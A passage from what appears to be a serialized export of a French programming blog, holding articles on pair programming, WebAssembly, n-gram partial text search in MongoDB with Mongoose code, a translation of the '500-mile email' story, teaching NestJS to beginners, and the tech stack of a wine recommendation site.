principe\n\nOn a bien compris que cette pratique consiste à faire travailler deux développeurs sur la même machine, mais comment se passe exactement **une session de travail** ?\n\nEn pair programming, **on va retrouver deux rôles bien distincts pour chacun des développeurs : le driver (conducteur) et l'observer (observateur)**. Aucun de ses deux rôles n'est à négliger car comme dans la navigation d'un paquebot, **les deux métiers sont complémentaires** : l'un va observer les éventuels écueils à éviter et la meilleure route à prendre, tandis que l'autre va tourner le gouvernail pour suivre la route tout en ressentant la force du vent et en jetant un œil sur l'état des machines.\n\n> Contrairement à la conduite d'un bateau, **les deux développeurs doivent échanger de rôle très fréquemment** pour profiter d'une session efficace.\n\nVoyons tout de suite à quoi correspondent ces rôles dans le développement !\n\n### Le driver\n\n**Le rôle du conducteur est majoritairement d'écrire du code, du code propre bien évidemment**, et il peut travailler très efficacement grâce à l'appui de l'observateur qui va pouvoir lui servir de guide.\n\nC'est lui qui a entre les mains le clavier et la souris, **on lui attribue le côté tactique** (opposé au côté stratégique) et dois pouvoir se concentrer sur **l'optimisation du code, sa documentation et tout ce qui touche directement au code pur.**\n\n### L'observer\n\n**Le rôle de l'observateur va être de réfléchir à la structure du projet dans son ensemble**, de faire les choix stratégiques en matière de design mais surtout de faire **une review continue des lignes de code** au fur-et-à-mesure qu'elles sont tapées.\n\nC'est malheureusement un rôle qui est parfois pris à la légère alors qu'**il est indispensable à l'équilibre du binôme** et à la qualité du logiciel produit !\n\n## Les bonnes pratiques\n\nVoici quelques conseils afin que la mise en place du pair programming se fasse sans douleur dans votre projet (et votre entreprise).\n\n### Changer ses perspectives\n\nLa plus grosse peur qui freine la plupart des entreprises à mettre en place cette pratique reste **la rentabilité jour-homme du développement du projet**, qui n'est en fait qu'un problème de perspective.\n\nEffectivement, si l'on fait travailler deux développeurs sur une même machine, **on écrira potentiellement deux fois moins de code dans le même temps**. Sauf que les gains de cette pratique peuvent être gigantesques si l'on sait où et quoi regarder.\n\nMettre en place un bon pair programming permet :\n\n* D'écrire du code plus **robuste et efficace**\n* De **diminuer les coûts liés au support** et debuggage\n* D'avoir **une base de code plus facilement réutilisable** car mieux réfléchie\n* De **former ses développeurs en continu** et beaucoup plus efficacement\n* D'**améliorer la communication** et le team-building au sein des équipes\n* De faire rentrer **la patience et la pédagogie dans les valeurs de l'entreprise**\n\n### L'introduire progressivement\n\nQue vous soyez développeur ou chef de projet, **il n'est pas nécessaire d'essayer d'imposer le pair programming** comme quelque chose d'exclusif, vous pouvez très bien proposer de le mettre en place qu'**un jour par semaine pour commencer**.\n\nEnsuite si cette méthode fonctionne correctement, essayez d'augmenter progressivement le nombre de jours dans la semaine **jusqu'à arriver à votre point d'équilibre.**\n\n> Il est aussi possible de le mettre en place **ponctuellement** pour certaines tâches sensibles requièrant une plus grande vigilance et qualité de code, comme des systèmes financiers par exemple !\n\n### Ne pas forcer les développeurs\n\nCertains développeurs sont très patients et pédagogues de nature, tandis que d'autre ne le sont pas du tout. **N'imposez pas le pair programming à des développeurs qui ne seraient pas à l'aise avec le concept**, laissez germer l'idée, laissez-leur le temps de voir les résultats de la méthode et peut-être qu'ils changeront d'avis à la longue.\n\n> Mieux vaut pas de pair programming, qu'un pair programming qui se passe mal !\n\n### Mélanger les niveaux\n\nL'apprentissage et la montée en compétence sont des vrais points positifs de cette méthode, et **mélanger différents niveaux peut-être encore plus bénéfique**.\n\nFaire travailler un développeur expérimenté avec un développeur junior va permettre à l'un de **progresser plus rapidement et d'acquérir les bons réflexes** plus vite, tandis que les interrogations du développeur junior pourront permettre de **remettre en questions les procédés établis depuis parfois trop longtemps** et qui n'ont plus lieu d'être aujourd'hui.\n\n> Attention néanmoins à ce que le binôme fonctionne bien et **que le junior ne soit pas simplement relégué au rôle d'observateur _ad vitam eternam_**_,_ ce qui annule tout bénéfice du pair programming !\n\n### Alterner les rôles\n\nComme expliqué précédemment, **l'alternance des rôles est capitale et doit se faire sur des périodes relativement courtes** (moins d'une demie-journée), sans être trop courte non-plus (pas moins d'un quart d'heure).\n\n> Cela permet au conducteur d'avoir le temps d'accomplir une ou plusieurs tâches et à l'observateur de garder une stimulation suffisante.\n\nPersonnellement **je situerai la période optimale entre une demie-heure et une heure**, mais l'idéal est que le binôme **trouve lui-même son rythme de croisière** pour faire une session la plus **efficace, stimulante ET agréable** possible.\n\nJ'espère que cet article vous aura plu, n'hésitez pas à me dire si vous avez mis le pair-programming en place dans votre entreprise et quels en son retours !\n\n","Connaissez-vous le pair programming ? Je vous explique les bonnes pratiques et les raisons de le mettre en place !","pourquoi-faut-il-mettre-en-place-le-pair-programming","2020-09-22T06:24:36.000Z","2023-09-19T15:05:36.933Z","2020-09-22T07:54:48.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/neonbrand-y_6rqStQBYQ-unsplash.jpg",{"id":764,"title":765,"content":766,"socialTitle":8,"description":767,"socialDescription":8,"slug":768,"createdAt":769,"updatedAt":770,"publishedAt":771,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":772,"coverCopyright":773,"coverCopyrightLink":774},95,"Comprendre le Web Assembly","Si je vous demande quels sont les langages que peut interpréter nativement un navigateur web, il y a de fortes chances pour que vous me répondiez : **HTML, CSS et Javascript.**\n\n> Et vous avez raison !\n\nMais si je vous disais qu’il existe aussi un moyen pour **exécuter du code écrit en C/C++ ou même Python directement dans le navigateur ?** Et bien oui, c’est possible grâce à une technologie que l’on appelle **le Web Assembly**.\n\n## Qu’est-ce que c’est ?\n\nLe Web Assembly (ou WASM) **est un format de bytecode** spécialement fait pour être chargé, compilé et exécuté dans un navigateur.\n\n> Un bytecode est un langage intermédiaire entre un code non-compilé (écrit par le développeur), et un code machine (exécutable).\n\nLe principe de Web Assembly est donc de **prendre un code écrit avec un langage bas-niveau en entrée, pour le compiler en un bytecode qui sera chargé dans le navigateur** avec une interface disponible pour que le Javascript et le code natif puisse communiquer facilement.\n\n> Une fois le bytecode chargé, il sera donc compilé en langage machine et exécuté dans une sandbox spécialisée du navigateur web.\n\n**Vous l’aurez compris, le principal intérêt du Web Assembly se cache dans sa vitesse d’exécution** car il est désormais possible d’apporter la rapidité d’exécution des langages bas-niveau directement dans une application web.\n\nDans certains cas, on arrive même à des gains de performances **jusqu’à 16 fois meilleurs que la vitesse d’exécution du même code en Javascript**.\n\nPour ceux que ça intéresse, voilà un benchmark détaillé des performances entre Javascript et Web Assembly : [https://link.medium.com/94HhoIRUZ9](https://link.medium.com/94HhoIRUZ9)\n\n## Quels sont les usages du Web Assembly ?\n\nLa vitesse d'exécution et l'optimisation mémoire possibles grâce aux outils bas-niveau permettent de **faire passer les applications web déjà très puissantes à un stade supérieur**.\n\nIl est désormais possible de **développer des jeux de plus en plus complexes tournant directement dans le navigateur**, c'est notamment le cas avec Unity qui exporte la version navigateur de ses jeux en Web Assembly.\n\nMais il est également possible de faire du Edge Computing, c'est à dire de **soulager les serveurs en effectuant certains calculs sur la machine du client**. C'est le cas par exemple pour certains hébergeur d'images qui effectuent **la compression des images uploadées directement dans le navigateur**.\n\n> Et avec le Web Assembly, même la compression vidéo dans le navigateur devient possible !\n\nEt même si cette technologie est capable de bien d'autre choses, il ne faut pas oublier que pour certaines entreprise **cela veut aussi dire pouvoir réutiliser une \"legacy codebase\" écrite en C** dans un navigateur sans avoir à réécrire de JavaScript !\n\n## Comment l’utiliser ?\n\nSi vous voulez mettre en place des modules Web Assembly, **je vous recommande de lire ces deux tutoriels pour apprendre à installer et utiliser Emscripten**, la toolchain nécessaire pour compiler des scripts C/C++ en Web Assembly :\n\n* Installation d'Emscripten : [https://emscripten.org/docs/getting\\_started/downloads.html](https://emscripten.org/docs/getting_started/downloads.html)\n* Compilation d'un module C/C++ : [https://developer.mozilla.org/en-US/docs/WebAssembly/C\\_to\\_wasm](https://developer.mozilla.org/en-US/docs/WebAssembly/C_to_wasm)\n\n","Vous entendez parler de Web Assembly, ou de WASM, mais vous ne savez toujours pas de quoi il s'agit ? Alors cet article est fait pour vous !","comprendre-le-web-assembly-wasm","2020-09-23T07:06:14.000Z","2023-09-19T15:05:36.962Z","2020-09-23T07:53:01.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/hello-i-m-nik-MAgPyHRO0AA-unsplash.jpg","Hello I'm Nik sur Unsplash","https://unsplash.com/@helloimnik?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":776,"title":777,"content":778,"socialTitle":8,"description":779,"socialDescription":8,"slug":780,"createdAt":781,"updatedAt":782,"publishedAt":783,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":784,"coverCopyright":785,"coverCopyrightLink":786},96,"MongoDB : Mettre en place une recherche textuelle avancée sans ElasticSearch","Si vous utilisez MongoDB et que vous avez décidé de mettre en place une recherche textuelle dans votre application, **vous avez sûrement dû vous rendre compte des limites de l'index \"text\" de ce dernier**.\n\nEn effet, MongoDB offre la possibilité à ses utilisateurs de faire une recherche textuelle sur un index déclaré comme tel, avec quelques spécificités :\n\n* Possibilité de **prendre en compte les accents ou non**\n* Possibilité de **configurer pour rechercher les variations simples des mots** \"rein\" => (\"rein\", \"reins\",\"reine\")\n* Possibilité d'**omettre les stop-words** (le, la, un, des, ...)\n\nMais lorsqu'il s'agit de faire une recherche partielle d'un mot, **les résultats retournés sont parfois trop restrictifs**, je m'explique :\n\nAdmettons des noms de villes comme \\[\"Tours\",\"Joué les tours\", \"Tournan en brie\", \"Vautour saint-martin\"\\], avec un simple index textuel natif à MongoDB et une recherche sur le texte \"tour\", **la seule ville retournée sera \"Tours\".**\n\nHors, si je veux que mes utilisateurs puissent **trouver toutes les villes ci-dessus**, un simple index textuel ne suffit plus.\n\n> Bien sûr, j'en entends déjà qui me crieraient d'utiliser ElasticSearch, ce qui est vrai, mais pour des projets de petites ampleurs, je trouve l'outil et sa mise en place légèrement \"overkill\".\n\nVoilà pourquoi je vais vous présenter **une solution basée sur MongoDB** (avec Mongoose), qui ne passera pas aussi bien à l'échelle qu'une instance Elastic Search mais **qui fonctionne très bien sur des volumes de données raisonnables** !\n\n> Attention cette méthode marche pour **des recherches à un seul mot** uniquement pour l'instant !\n\n## La solution\n\n### Création du nouvel index\n\n**Elastic Search base ses indexes sur ce que l'on appelle des ngrams**, c'est à dire de multiples sous-ensembles de chaines de caractères. **Par exemple le mot \"Tours\" décomposé en ngrams devient \"t to tou tour tours o ou our ours u ur urs r rs s\"**, soit toutes les possibilités de combinaisons uniques de lettres adjacentes.\n\nC'est donc la première étape, **écrire un algorithme de décomposition des mots en ngrams**, ici on va prendre en entrée une liste de chaines de caractères  contenant toutes les données cherchables par l'utilisateur et retournera une chaine de caractère unique contenant tous les ngrams possibles séparés par des espaces.\n\n```\nWords.compute_ngrams = function (data) {\n let str_array = data;\n \n //We ensure ngrams unicity using a \"set\" object\n let ngrams = {};\n \n //Making sure the data is an array\n if (!Array.isArray(data)) {\n str_array = [data];\n }\n\n str_array.forEach(function (str) {\n if (str != null) {\n \t//For each data, we make sure it's a string and split it by words\n (str+\"\").split(' ').forEach(function (word) {\n if (word && word != \"\") {\n word = word.toLowerCase();\n //Starting from the first letter, we add all ngrams of all lengths\n for(let l_start=0; l_start \u003C= word.length; l_start++){\n for (let l_end=1; l_end \u003C= word.length; l_end++) {\n ngram = word.substr(l_start,l_end)\n ngrams[ngram] = 1;\n \n }\n }\n }\n });\n }\n });\n\n return Object.keys(ngrams).join(\" \");\n}\n```\n\nDésormais qu'il nous est possible de **transformer toutes les données voulues en une seule chaine de caractère contenant tous les ngrams**, il va nous falloir un index où la stocker.\n\n```\nlet Schema = new mongoose.Schema({\n //...\n text_search: { type: String, required: true, default: \"\"}\n});\n\nSchema.index({ text_search: \"text\"});\n```\n\n**Pour se faire nous utiliserons un index textuel classique de MongoDB** pour que ce dernier puisse traiter chaque ngram de la chaine comme un mot à part entière.\n\n> Vous voyez la technique ? **MongoDB ne sait traiter que des mots entiers ?** Alors on lui \"mâche\" littéralement le travail en **lui donnant des mots déjà décomposés** qu'il prendra comme des mots entiers !\n\n**Ensuite il nous suffit à chaque création ou modification d'un objet de re-générer les ngrams** des données voulues, ici nom de la ville, code postal et région et de le sauvegarder en base.\n\n```\ndata.text_search = Words.compute_ngrams([\n data.city_name,\n data.post_code,\n data.region\n]);\n```\n\n### Faire une recherche\n\nLa recherche textuelle utilisée est celle de MongoDB, qui est par défaut insensible à la casse et aux accents.\n\n```\nlet results = await Schema.find({\n $text: {\n $search: '\"'+search+'\"', $language: \"none\"\n }\n});\n```\n\nNéanmoins il est nécessaire d'indiquer $language: \"none\" pour **éviter que MongoDB n'enlève tous les stopwords**, et comme beaucoup de nos ngrams sont des chaines de 1 à 3 caractères, ces derniers sont souvent assimilés comme des stopwords.\n\n**On encapsule aussi la requête entre double-quote** pour éviter à MongoDB d'associer les ngrams de plusieurs mots différents.\n\nEt voilà, le tour est joué, vous pouvez désormais faire des recherches de chaines de caractères partielles, en début, fin ou milieu de mot ! A noter que **la taille de l'index variera beaucoup selon le nombre de documents** et le nombre de données avec lesquelles vous allez générer vos ngrams !\n\n_Mais ça fonctionne !_","Envie de pouvoir faire des recherches textuelles sur des morceaux de mots avec MongoDB ? Voilà ma technique !","mongodb-mettre-en-place-une-recherche-textuelle-avancee-sans-elasticsearch","2020-09-24T07:18:06.000Z","2023-09-22T13:42:14.841Z","2020-09-24T11:51:38.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/jason-leung-0sBTrm726C8-unsplash.jpg","Jason Leung sur Unsplash","https://unsplash.com/@ninjason?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":788,"title":789,"content":790,"socialTitle":8,"description":791,"socialDescription":8,"slug":792,"createdAt":793,"updatedAt":794,"publishedAt":795,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":796,"coverCopyright":797,"coverCopyrightLink":798},97,"L'histoire de l'e-mail limité à 800 kilomètres de distance","**Il existe des histoires dans le monde de l'informatique qui sont incroyables à découvrir**, et il n'y a pas forcément besoin que le protagoniste soit de la trempe de Steve Jobs ou encore Bill Gates pour être intéressante.\n\n**L'histoire que vous allez découvrir ci-dessous, est certainement l'une de mes préférées, elle n'est pas de moi, mais de Trey Harris** et sa version originale (en anglais) est disponible sur son blog : [https://www.ibiblio.org/harris/500milemail.html](https://www.ibiblio.org/harris/500milemail.html)\n\n**J'ai décidé de traduire cette histoire car je pense qu'elle peut intéresser beaucoup de développeurs et développeuses de la communauté francophone**, autant que la version originale a pu m'intéresser quand je l'ai découverte.\n\nCe que vous allez lire juste après est un e-mail groupé envoyé par Trey Harris d'après un sujet intitulé \"**Votre tâche impossible favorite ?**\" le 24 Novembre 2002.\n\n## Il était une fois... un e-mail.\n\n### Par Trey Harris\n\nVoilà un problème qui était \\*à première vue\\* impossible... Je regrette presque de partager cette histoire avec une large audience, parce que c'est une super épopée à raconter dans les conférences autour d'un verre ! L'histoire a été légèrement altérée afin de protéger le coupable, pour éluder les détails insignifiant et ennuyeux, et plus généralement pour rendre la chose plus divertissante.\n\nIl y a quelques années, je travaillais à un poste où mon rôle était de gérer le système d'e-mail du campus, quand tout à coup, je reçu un appel du président du département de statistique de l'université.\n\n\"Nous avons des problèmes pour envoyer des e-mails en dehors du département.\"\n\n\"Quel est le problème ?\" demandais-je.\n\n\"On ne peut pas envoyer d'e-mail à plus de 500 miles (NdT: environs 800km)\" m'a alors expliqué le président.\n\nC'est là que je me suis étouffé avec mon latté. \"Redîtes-moi ça ?\"\n\n\"On ne peut pas envoyer d'e-mails plus loin qu'à 500 miles d'ici,\" me répéta-t'il. \"Un tout petit peu plus, en fait. Disons 520 miles. Mais pas plus loin.\"\n\n\"Um... Les e-mails ne marchent pas vraiment comme ça, enfin généralement\" lui ai-je répondu, en essayant de dissimiler toute panique dans ma voix. On ne montre aucun signe de panique lorsqu'on parle à un président de département, même pour un département relativement appauvri comme les statistiques.\n\n\"Qu'est-ce qu'il vous fait penser qu'on ne peut pas envoyer d'e-mail à plus de 500 miles ?\"\n\n\"Ce n'est pas ce que je \\*pense\\*\", me répondit le président irrité. \"Vous voyez, quand nous avons découvert ce phénomène, il y a quelques jours--\"\n\n\"Vous avez attendu quelques JOURS ?\" L'interrompis-je, des tremblements dans la voix. \"Et vous n'étiez pas en mesure d'envoyer des e-mails pendant tout ce temps ?\"\n\n\"On pouvait envoyer des e-mails. Simplement pas à plus de--\"\n\n\"--500 miles, oui,\" complétais-je, \"Ça j'ai compris. Mais pourquoi vous n'avez pas appelé plus tôt ?\"\n\n\"Et bien, nous n'avions pas encore récolté suffisamment de données pour être sûr de ce qui se passait réellement jusqu'à maintenant.\"\n\nLogique. C'est le président des \\*statistiques\\* après tout. \"De toute façon, j'ai demandé à l'une de nos géostatisticiennes d'y jeter un oeil--\"\n\n\"Géostatisticiennes...\"\n\n\"--oui, et elle a généré une carte montrant le rayon à l'intérieur duquel nous pouvions envoyer des e-mails, qui s'est avéré faire légèrement plus de 500 miles. Il y a un certains nombre des destinations à l'intérieur de ce rayon que nous ne pouvons quand même pas atteindre, ou alors de façon sporadique, mais nous ne pouvons jamais rien envoyer au delà de ce rayon.\"\n\n\"Je vois,\" dis-je, en me prenant la tête. \"Quand est-ce que ça a commencé ? Vous avez dit il y a quelques jours, mais est-ce que quelque chose a changé dans vos systèmes depuis ce moment-là ?\"\n\n\"Et bien, le consultant est venu, il a patché notre serveur et l'a relancé. Mais je l'ai appelé, et il a dit ne pas avoir touché au système d'e-mails.\"\n\n\"Ok, laissez-moi y jeter un œil, et je vous rappellerai plus tard,\" dis-je, n'y croyant qu'à moitié. Ce n'était pas le premier Avril. J'essayais de me rappeler si quelqu'un me devait une farce technique.\n\nJe me suis connecté sur le serveur du département, et j'ai envoyé quelques e-mails de test. J'étais alors dans le \"Research Triangle\" de la Caroline du Nord, et un e-mail de test vers mon compte personnel s'est envoyé sans accroc. Même chose pour un envoyé vers Richmond, et Atlanta, et Washington. Un autre vers Princeton (400 miles) a aussi fonctionné.\n\nMais j'ai ensuite essayé d'envoyer un e-mail à Memphis (600 miles). Ça a échoué. Boston, échoué. Detroit, échoué. J'ai alors sorti mon carnet d'adresses pour commencer à affiner tout ça. New York (420 miles) a fonctionné, mais Providence (580 miles) a échoué.\n\nJ'ai commencé à croire que j'avais perdu ma santé mentale. J'ai alors essayé d'envoyer un e-mail à un ami vivant en Caroline du Nord, mais dont le fournisseur d'accès était à Seattle. Heureusement, ça a échoué. Si le problème était lié à la localisation géographique du destinataire, et pas de son serveur d'e-mails, je crois que j'aurais fondu en larmes.\n\nAprès avoir établi, --qu'aussi invraisemblable que cela puisse paraitre– le problème remonté était vrai, et répétable, j'ai alors jeté un œil au fichier \"sendmail.cf\".\n\nIl avait l'air plutôt normal. En fait il avait même l'air comme d'habitude.\n\nJe l'ai alors comparé au \"sendmail.cf\" de mon répertoire home. Il n'avait pas été modifié... c'était le \"sendmail.cf\" que j'avais écrit.\n\nEt j'étais plutôt certains de ne pas avoir activé l'option \"FAIL\\_MAIL\\_OVER\\_500\\_MILES\".\n\nEn vain, j'ai lancé une connexion telnet sur le port SMTP. Le serveur m'a alors joyeusement répondu avec une bannière SunOS sendmail.\n\nUne minute... une bannière SunOS sendmail ? À cette époque, Sun déployait toujours Sendmail 5 avec son système d'exploitation, même si Sendmail 8 était déjà plutôt mature. En tant que bon administrateur système, j'avais standardisé Sendmail 8.\n\nEt toujours en bon administrateur système, j'avais écrit un sendmail.cf qui utilisait des noms de variables longs et intuitifs disponibles dans Sendmail 8 en comparaison aux signes de ponctuations cryptiques utilisés dans Sendmail 5.\n\nTout était devenu plus clair, subitement, et je m'étouffais à nouveau avec le fond de mon latté déjà-froid.\n\nLorsque le consultant a \"patché le serveur\", il avait apparemment mis à jour la version de SunOS, et par la même occasion \\*rétrogradé\\* la version de Sendmail. La mise a jour avait tout de même laissé le sendmail.cf intact, même si c'était désormais la mauvaise version.\n\nIl apparaissait que Sendmail 5 (du moins, la version que Sun avait déployé, et qui avait quelques ajustements) pouvais fonctionner avec un sendmail.cf venant de Sendmail 8, comme la plupart des règles n'avait pas été altérées. Sauf les nouvelles longues et belles options de configuration... celles qu'il avait traitées comme des anomalies, avait été ignorées. Et le binaire de sendmail n'avait aucune valeur par défaut compilées pour la plupart de ces configurations-là, donc, à défaut d'en trouver dans les paramètres du fichier sendmail.cf, elle sont initialisées à 0.\n\nL'un des paramètres qui avait été mis à zéro était le temps d'attente maximal pour se connecter au serveur SMTP distant. Quelques expérimentations avait établi qu'avec cette machine en particulier, et avec sa charge usuelle, un temps d'attente à zéro annulerait la connexion au bout d'environs 3 millisecondes.\n\nUne particularité étrange du réseau de notre campus à l'époque était qu'il fonctionnait à 100% sur des switch.\n\nUn paquet sortant n'induirait un délai routeur qu'après avoir atteint le POP (point d'accès à internet) et touché un routeur de l'autre côté. Donc le délai pour se connecter à un hôte distant peu chargé sur un réseau proche était grossièrement gouverné par la distance parcourue à la vitesse de la lumière jusqu'à la destination, plutôt que par d'accessoires délais routeur.\n\nMe sentant légèrement étourdi, j'ai alors tapé dans mon shell :\n\n```\n$ units \n> 1311 units, 63 prefixes\n> You have: 3 millilightseconds\n> You want: miles\n> * 558.84719\n> / 0.0017893979\n```\n\n\"500 miles, ou un petit peu plus.\" \nTrey Harris\n\n* * *\n\n**Pour les plus sceptiques sur la véracité du récit, Trey a justement créé une FAQ avec toutes les infos qui concerne son histoire**, désormais célèbre : [https://www.ibiblio.org/harris/500milemail-faq.html](https://www.ibiblio.org/harris/500milemail-faq.html)\n\n\n","Vous ne connaissez pas l'affaire incroyable du \"500-mile email\" ? Alors c'est le moment de la découvrir, et en français !","laffaire-de-le-mail-limite-a-800-kilometres-de-distance","2020-09-24T19:01:11.000Z","2023-09-22T13:42:31.452Z","2022-02-04T07:36:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/02/liam-truong-YjWW9-VJlw4-unsplash.jpg","Liam Truong sur Unsplash","https://unsplash.com/@liamtruong?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":800,"title":801,"content":802,"socialTitle":8,"description":803,"socialDescription":8,"slug":804,"createdAt":805,"updatedAt":806,"publishedAt":807,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":808,"coverCopyright":809,"coverCopyrightLink":810},98,"Pourquoi il ne faut pas apprendre NestJS à des débutants","Il y a un peu plus d'un an, j'ai suivi une promotion d'étudiants en développement web et après avoir pris l'un d'entre eux en stage, j'ai remarqué quelque chose :\n\n**Beaucoup avaient des difficultés à comprendre le cycle de vie d'une donnée au travers du code de leur stack.** Et parfois même ils avaient du mal à différencier où s'arrêtait leur back-end et où commençait leur front-end.\n\nMais ce n'est qu'en me plongeant dans les technologies pour aider mon étudiant que **j'ai compris d'où venaient leurs difficultés** !\n\nLa stack en question était celle-ci : Typescript, Angular, NestJS, MySQL\n\n## Quel est le problème de cette stack ?\n\nNe me faites pas dire ce que je n'ai pas dit, **je n'ai rien contre NestJS, ni Angular**, mais je pense sincèrement que **former des développeurs web débutants sur ces technos n'est pas une bonne idée**.\n\n**NestJS (et Angular) sont des frameworks que l'on appelle \"enterprise\"**, c'est à dire des frameworks conçus avant tout pour créer de gros projets, avec une architecture complexe.\n\nCes outils sont pensés pour faire gagner du temps, réduire la taille de la codebase et éviter un maximum de problèmes aux développeurs expérimentés. Et voilà justement où est le problème.\n\n> En tant que développeur, on ne comprend réellement l'ampleur d'un problème que lorsqu'on y a déjà été confronté.\n\nEn ce qui concerne l'abstraction du code, il en va de même, notamment pour les développeurs débutants.\n\nSi l'on commence à apprendre du Typescript à un développeur avant même qu'il n'ait expérimenté quelques problèmes causés par du JavaScript au typage dynamique, **ce dernier n'aura pas toutes les clés pour exploiter Typescript et l'utilisera simplement par habitude.**\n\nEn ce qui concerne NestJS, l'utilisation de certains décorateurs comme **@Post implique tant de choses dans un contrôleur** :\n\n* **Génération** d'une nouvelle route\n* **Parsing** du corps de la requête en JSON\n* **Le code http de réponse** sera automatiquement mis à 200\n* N'importe quelle valeur retournée par la fonction sera contenue dans **la réponse de la requête**\n* **Le header \"Content-Type\"** sera calculé en selon le type de la valeur de retour\n* ...\n\nToutes ces notions ne seront donc pas assimilées par le développeur débutant et bien qu'il puisse devenir \"opérationnel\" sur cette technologie, **il ne comprendra jamais vraiment toutes les conséquences de ce qu'il programme.**\n\n**Je sais que le but des formations est de sortir des étudiants directement employables** et que dans cette optique ces derniers sont parfois formés sur des technologies directement utilisées en entreprise.\n\nMais de mon expérience, **la compréhension profonde d'un développeur débutant prime** largement sur sa capacité à produire du code fonctionnel mais dont il ne comprends pas les tenants et les aboutissants.\n\n> Mon conseil : si vous êtes formateur ou responsable de formation, formez d'abord vos étudiants sur des technologies avec moins d'abstraction.\n\n**Express est un bon compromis par rapport à NestJS**, car même si beaucoup de features sont gérées par des middleware, il faut au minimum les ajouter et les paramétrer correctement, ce qui permet d'ouvrir la discussion sur ces sujets évoqués précédemment.\n\n**Pour des frameworks front, par pitié commencez par le DOM**, et ensuite vous pourrez passer sur des librairies comme Vue ou React, mais quand les bases auront été comprises !","Je n'ai rien contre NestJS, mais voilà pourquoi il ne faut pas l'enseigner à des développeurs débutants.","pourquoi-il-ne-faut-pas-apprendre-nestjs-a-des-debutants","2020-09-28T07:30:22.000Z","2023-09-22T13:42:49.437Z","2020-09-28T08:06:31.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/caleb-woods-VZILDYoqn_U-unsplash.jpg","Caleb Woods sur Unsplash","https://unsplash.com/@caleb_woods?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":812,"title":813,"content":814,"socialTitle":8,"description":815,"socialDescription":8,"slug":816,"createdAt":817,"updatedAt":818,"publishedAt":819,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":820,"coverCopyright":821,"coverCopyrightLink":822},99,"La stack technique derrière quelvinetesvous.fr","Vous l'aurez peut-être vu passer sur les réseaux sociaux, **chez [Winesee](https://www.winesee.fr/) nous venons de lancer le site et les applications \"[Quel vin êtes-vous ?](https://www.quelvinetesvous.fr)\"** en partenariat avec Système U.\n\nCette semaine signe le départ de la foire aux vins dans les magasins U, et **la technologie de recommandation de vin selon votre profil sensoriel** que nous développons chez Winesee a été choisie pour aiguiller le consommateur partout en France dans un déploiement national (plus de 900 magasins).\n\n## Le concept\n\n**En France, 80% des gens achètent leur vin pour les mauvaises raisons : le prix, l'étiquette, la médaille, etc...** Chez Winesee, nous avons pour mission de redonner du pouvoir au consommateur pour son achat de vin, c'est pourquoi nous avons développé un moteur de recommandation basé sur le profil gustatif de l'utilisateur, pour qu'**il choisisse ses vins en fonction de ses goûts**.\n\nEn découvrant vos préférences alimentaires, **notre algorithme va être capable de vous recommander le meilleur vin fait pour vous** parmi toutes les références analysées une à une par nos experts.\n\n**L'algorithme et les données utilisées sont issues des 25 ans de recherche de notre expert en neurophysiologie** appliquée au goûts et aux émotions et permettent aujourd'hui de proposer une recommandation innovante, fiable et centrée sur le consommateur.\n\n::: bookmark\n[![](https://www.quelvinetesvous.fr/img/theme/open-graph.jpg)Quel vin êtes-vous ? Un conseil caviste personnalisé | U commerçants autrement](https://quelvinetesvous.fr)\n:::\n\n## La stack technique\n\nPour ceux que ça intéresse, voici la stack technique mise en place pour le projet, à noter que la première version de notre moteur de recommandation a vu le jour en 2016 et que les technologies front-end utilisées sont celles de l'époque.\n\n### Front-End\n\n* Framework : AngularJS\n* Librairie CSS : Aucune\n* Toolkit : Gulp\n* Gestionnaire de dépendances : Bower\n\n**Les applications natives iOS et Android sont des versions web packagées dans des WebViews.** A l'avenir le front-end sera migré sur du Vue ou du React et les versions natives pourront être refaites avec vue/react-native.\n\n**La compilation et l'archivage de l'application iOS est faite grâce au service [bitrise.io](https://www.bitrise.io/)** que je vous présentais [il y a quelques semaines juste ici](https://code-garage.fr/bitrise-ou-comment-publier-des-apps-ios-sans-mac/).\n\n### Back-End\n\n* Environnement : NodeJS\n* Framework : ExpressJS\n* DB : MongoDB (Mongoose)\n* Test : Expect.js\n* Log : Sentry\n\n**Le back-end se présente sous la forme d'une API Rest (stateless)** pouvant être répliquée à volonté dans du cloud et documentée avec Swagger.\n\nNotre API étant appellée depuis plusieurs autres applications, **nous avons développé un sdk décorellé de la partie AngularJS**, et fonctionnant avec Axios pour les appels serveurs.\n\n### Hosting\n\n* Front-end : AWS S3 + Cloudfront (CDN)\n* Back-End : Heroku + S3 pour les fichiers statiques\n* Base de données : MongoDB Atlas\n* Serveur SMTP : Amazon SES\n\nL'hébergement cloud est prévu pour pouvoir gérer la montée en charge sans grosse difficulté et **les stress-tests de la plateforme ont été effectués avec la plateforme [https://loader.io](https://loader.io)** dont je parlerai plus longuement dans un prochain article.\n\n## Conclusion\n\nNotre moteur de recommandation n'en est qu'au début de son ascension, mais je dois avouer que je suis assez fier de voir un projet dans lequel **j'ai eu la chance de concevoir le design, l'expérience utilisateur, l'architecture technique et le code** propulsé partout en France.\n\n**Si vous ne l'avez pas encore testé, c'est le moment**, et c'est juste ici : [https://quelvinetesvous.fr](https://quelvinetesvous.fr), et **n'hésitez pas à la partager** pour nous aider à casser les codes du monde du vin !","Je vous présente un projet sur lequel je travaille depuis plus de 4 ans et qui se lance officiellement partout en France !","la-stack-technique-derriere-quelvinetesvous","2020-09-30T08:31:49.000Z","2023-09-22T13:43:01.517Z","2020-09-30T13:21:21.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/09/nico-bhlr-r6pi3BpqDzI-unsplash.jpg","NICO BHLR sur 